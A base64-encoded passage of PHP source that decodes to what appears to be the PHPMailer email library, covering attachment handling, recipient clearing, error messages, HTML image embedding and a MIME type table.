CAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBhcnJheSgKICAgICAgICAgICAgMCA9PiAkc3RyaW5nLAogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgMiA9PiBiYXNlbmFtZSgkZmlsZW5hbWUpLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiB0cnVlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgNiA9PiAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgKGlubGluZSkgYXR0YWNobWVudCBmcm9tIGEgZmlsZS4KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLgogICAgICogVGhlc2UgZGlmZmVyIGZyb20gJ3JlZ3VsYXInIGF0dGFjaG1lbnRzIGluIHRoYXQgdGhleSBhcmUgaW50ZW5kZWQgdG8gYmUKICAgICAqIGRpc3BsYXllZCBpbmxpbmUgd2l0aCB0aGUgbWVzc2FnZSwgbm90IGp1c3QgYXR0YWNoZWQgZm9yIGRvd25sb2FkLgogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCB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kdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSA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W1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZ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ogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAg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aXIgaGFzIGEgdHJhaWxpbmcgLwogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbWFnZXNbMl0gYXMgJGltZ2luZGV4ID0+ICR1cmwpIHsKICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZVteOyxdKikoO2Jhc2U2NCk/LCMnLCAkdXJsLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBzdWJzdHIoJHVybCwgc3RycG9zKCR1cmwsICcsJykpOwogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzBdWyRpbWdpbmRleF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAvLyBPbmx5IHByb2Nlc3MgcmVsYXRpdmUgVVJMcyBpZiBhIGJhc2VkaXIgaXMgcHJvdmlkZWQgKGkuZS4gbm8gYWJzb2x1dGUgbG9jYWwgcGF0aHMpCiAgICAgICAgICAgICAgICAgICAgIWVtcHR5KCRiYXNlZGlyKQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChzdHJwb3MoJHVybCwgJy4uJykgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgdXJscyB0aGF0IGFyZSBhbHJlYWR5IGlubGluZSBpbWFnZXMKICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6JwogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgICYmICFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywgJHVybCkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgIC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j4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIE1JTUUgdHlwZSBmb3IgYSBmaWxlIGV4dGVuc2lvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlLgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9taW1lX3R5cGVzKCRleHQgPSAnJykKICAgIHsKICAgICAgICAkbWltZXMgPSBhcnJheSgKICAgICAgICAgICAgJ3hsJyAgICA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywKICAgICAgICAgICAgJ2NwdCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWNvbXBhY3Rwcm8nLAogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyAgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAnd29yZCcgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsCiAgICAgICAgICAgICd4bHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vk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ICAgICAgJ2RsbCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2V4ZScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2xoYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3BzZCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NlYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgICA9PiAnYXBwbGljYXRpb24vb2RhJywKICAgICAgICAgICAgJ3BkZicgICA9PiAnYXBwbGljYXRpb24vcGRmJywKICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdlcHMnICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdzbWlsJyAgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubWlmJywKICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywKICAgICAgICAgICAgJ3BwdCcgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywKICAgICAgICAgICAgJ2RjcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R2aScgICA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgID0+ICdhcHBsaWNhdGlvbi94LWd0YXInLAogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHA0JyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHBzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnICAgPT4gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywKICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywKICAgICAgICAgICAgJ3RhcicgICA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd4aHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd6aXAnICAgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbWlkaScgID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXBnYScgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ2FpZicgICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmYnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ3JhbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8nLAogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdycG0nICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgICAgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLAogICAgICAgICAgICAnYm1wJyAgID0+ICdpbWFnZS9ibXAnLAogICAgICAgICAgICAnZ2lmJyAgID0+ICdpbWFnZS9naWYnLAogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZScgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGcnICAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLAogICAgICAgICAgICAndGlmZicgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgICA9PiAnaW1hZ2UvdGlmZicsCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAgICAgJ2NzcycgICA9PiAndGV4dC9jc3MnLAogICAgICAgICAgICAnaHRtbCcgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnc2h0bWwnID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnbG9nJyAgID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICd0eHQnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyAgID0+ICd0ZXh0L3JpY2h0ZXh0JywKICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLAogICAgICAgICAgICAndmNmJyAgID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAnbXBlZycgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcGcnICAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbW92JyAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncnYnICAgID0+ICd2aWRlby92bmQucm4tcmVhbHZpZGVvJywKICAgICAgICAgICAgJ2F2aScgICA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnCiAgICAgICAgKTsKICAgICAgICBpZiAo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sICRwYXRoLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRwYXRoaW5mb1sxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgICAgICAkcmV0WydiYXNlbmFtZSddID0gJHBhdGhpbmZvWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2V4dGVuc2lvbiddID0gJHBhdGhpbmZvWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkcGF0aGluZm9bM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkb3B0aW9ucykgewogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19CQVNFTkFNRToKICAgICAgICAgICAgY2FzZSAn